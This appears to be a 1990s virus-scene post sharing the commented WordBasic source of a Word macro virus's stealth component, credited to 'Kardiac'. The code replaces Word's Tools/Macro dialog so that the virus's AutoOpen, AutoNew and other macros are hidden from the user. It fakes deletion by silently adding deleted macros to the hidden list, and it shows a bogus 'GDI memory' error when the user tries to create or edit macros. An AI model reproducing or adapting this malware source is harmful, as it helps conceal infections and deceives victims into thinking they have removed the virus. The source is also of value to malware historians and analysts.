      --------------------------------------------------------------
                      A new macro virus (written by Kardiac)
                             ,
		 By     <****{=============-
			     ' AuRoDrEpH, the Drow
      --------------------------------------------------------------

An interesting source commented by his author... thanks to him..

==========================================================================

'**************
'* ToolsMacro *
'********************************************************************
'* Macro-Stealth.                                                   *
'*                                                                  *
'* This macro will Stealth its existance from the user, via the     *
'* Tools/Macro menu.  Any macros deleted by the user will become    *
'* Stealthed.                                                       *
'*                                                                  *
'*                                                      Kardiac.    *
'*                                                                  *
'********************************************************************


Dim Shared listDisp$(2)          ' Display Options. Normal.Dot, Global 
Dim Shared MacList$(128)         ' Displayed list of Macro names.
Dim Shared MacDesc$(1)           ' Macro Description.
Dim Shared StealthMacList$(128)' List of macros to be Stealthed.
Dim Shared StealthMacNum         ' Number of Macros to be Stealthed.
Dim Shared StealthFlag           ' Stealth Flag
Dim Shared CurrentStealthMacCount
							 ' Variable for counting Stealthed Macros  
							 ' in the current Context.
Dim Shared Context                       ' Current Macros Context Normal or 
							 ' Active.


Sub BuildMacList(MacList$(), Context)
On Error Goto ErrorHandler

' Find how many Macros we need to stealth in the current Macro List
' using the current Macro Context.

CurrentStealthMacCount = 0              ' Count how many we need to hide.


For count = 1 To (CountMacros(Context))

	StealthFlag = 0                         ' Assume we have nothing to hide.
	For x = 0 To StealthMacNum      ' Check our list of Macros..

		If InStr(StealthMacList$(x), MacroName$(count, Context)) <> 0 \
		Then
			StealthFlag = 1         ' We have to hide MacroName$(count..
			CurrentStealthMacCount = CurrentStealthMacCount + 1
		End If

	Next x

Next count

' ReDimension the MacList to the number of Macros in the Current 
' Macro Context. 
' MacroList$ = (RealMacList$ - StealthMacList$)

If ((CountMacros(Context) - CurrentStealthMacCount) - 1) > - 1 Then
	Redim MacList$((CountMacros(Context) - CurrentStealthMacCount) - 1)
	Else
	Redim MacList$(0)
	MacList$(0) = ""
End If

StealthMacCount = 0             ' Count how many Stealthed Macros we have                                                       ' found in the Current Macro Context..

For count = 1 To (CountMacros(Context))

	StealthFlag = 0         ' is MacroName$(count.. a member of StealthList
	For x = 0 To StealthMacNum       
		If InStr(StealthMacList$(x), \
			MacroName$(count, Context)) <> 0 Then
			StealthFlag = 1
		End If
	
	Next x


	' If StealthFlag = 0 then Add MacroName$(count) to the MacList$

	If (StealthFlag = 0) Then       
	MacList$(count - StealthMacCount - 1) = MacroName$(count, Context)
	Else
		StealthMacCount = StealthMacCount + 1
	End If
Next count
Goto xEnd

ErrorHandler:
	' Say nothing..

xEnd:
End Sub



'**********
'** MAIN **
'**********

Sub MAIN


DisableInput 1
DisableAutoMacros 0
Context = 0


'       List of Macros to Stealth..
StealthMacList$(0) = "XToolsMacro"
StealthMacList$(1) = "CCC"
StealthMacList$(2) = "BBB"
StealthMacList$(3) = "AutoNew"
StealthMacList$(4) = "AutoOpen"

StealthMacNum = 5



BuildMacList(MacList$, Context)

listDisp$(0) = "All Active Templates"
listDisp$(1) = "Normal.dot (Global Template)"
listDisp$(2) = "Word Commands"

Begin Dialog UserDialog 424, 308, "Macro", .StealthToolMacro
	ComboBox 7, 28, 250, 160, MacList$(), .MacList
	Text 6, 12, 101, 13, "&Macro Name:"
	Text 6, 193, 152, 29, "Macros &Available in:"
	Text 3, 234, 92, 13, "Description:", .Descr
	TextBox 5, 248, 388, 39, .MacDesc, 1
	ListBox 392, 248, 24, 36, MacList$(), .DummyListBox
	DropListBox 5, 209, 411, 83, listDisp$(), .DispList
	PushButton 274, 19, 140, 21, "&Record", .Record
	PushButton 274, 45, 140, 21, "Cancel", .Cancel
	PushButton 274, 75, 140, 21, "Run", .Run
	PushButton 274, 99, 140, 21, "Create", .Create
	PushButton 274, 124, 140, 21, "Delete", .Delete
	PushButton 274, 154, 140, 21, "Organizer...", .Organizer
End Dialog

Dim dlg As UserDialog

Dialog(dlg, 2)

bye:

DisableInput 0
DisableAutoMacros 1


End Sub

Function StealthToolMacro(ControlID$, action, SuppValue)

Select Case Action
	Case 1
'               Inialise
		DlgEnable "Delete", 0
		DlgEnable "MacDesc", 0
		DlgValue "DispList", 1          ' Default option Normal.Dot

	Case 2
'MsgBox ControlID$
		Select Case ControlID$
			Case "MacList"                  
				DlgEnable "Delete", 1
				DlgEnable "MacDesc", 1' Update the Description text..
				DlgText "MacDesc", MacroDesc$(MacList$(SuppValue))
				DlgText "Create", "Edit"
	
				StealthToolMacro = 1
			Case "DispList"
					selectedItem = DlgValue("MacList")
					
					Select Case SuppValue
						Case 0
							Context = 1     ' Active template
						Case 1
							Context = 0     ' Normal template
						Case Else
							' They have requested the Interal Word
							' Command List
					End Select

					BuildMacList(MacList$, Context)
					
					DlgListBoxArray "MacList", MacList$()
					DlgFocus "MacList"
					DlgText MacList, ""
					DlgValue "MacList", selectedItem
		
					StealthToolMacro = 1
	
			Case "Create"
				MsgBox "Dialog Error: Unable to allocate GDI memory.", \
					"Word Basic Error = 182", 16
				DlgFocus "Cancel"
				DlgEnable "Create", 0

				StealthToolMacro = 1
			Case "Delete"
				If DlgValue("MacList") >= 0 Then
					StealthMacList$(StealthMacNum + 1) = \
						MacList$(DlgValue("MacList"))
					StealthMacNum = StealthMacNum + 1
				
					BuildMacList(MacList$, Context)
				
					DlgListBoxArray "MacList", MacList$()
					DlgFocus "MacList"
					DlgText MacList, ""
				End If
	
				StealthToolMacro = 1

			Case Else
'                               Do nothing..
		End Select
	Case Else
End Select


End Function
==========================================================================
